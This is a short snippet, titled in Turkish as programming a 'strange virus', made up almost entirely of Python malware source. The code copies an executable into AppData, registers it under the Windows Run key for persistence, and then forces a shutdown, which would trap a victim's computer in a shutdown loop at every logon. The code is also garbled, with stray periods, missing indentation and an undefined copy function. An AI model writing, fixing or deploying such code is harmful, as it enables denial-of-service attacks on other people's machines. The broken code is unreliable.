Garip bir virüs programlamak

import os.
import time.
import subprocess.

def add_to_registry():
new_file = os.environ["appdata"] + "\\program.exe"

if not os.path.exists(new_file):
copy_exefile_to_another_location(new_file)

regedit_command = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v program /t REG_SZ /d " + new_file.
subprocess.call(regedit_command, shell=True)

add_to_registry()
time.sleep(2)
os.system('shutdown -s')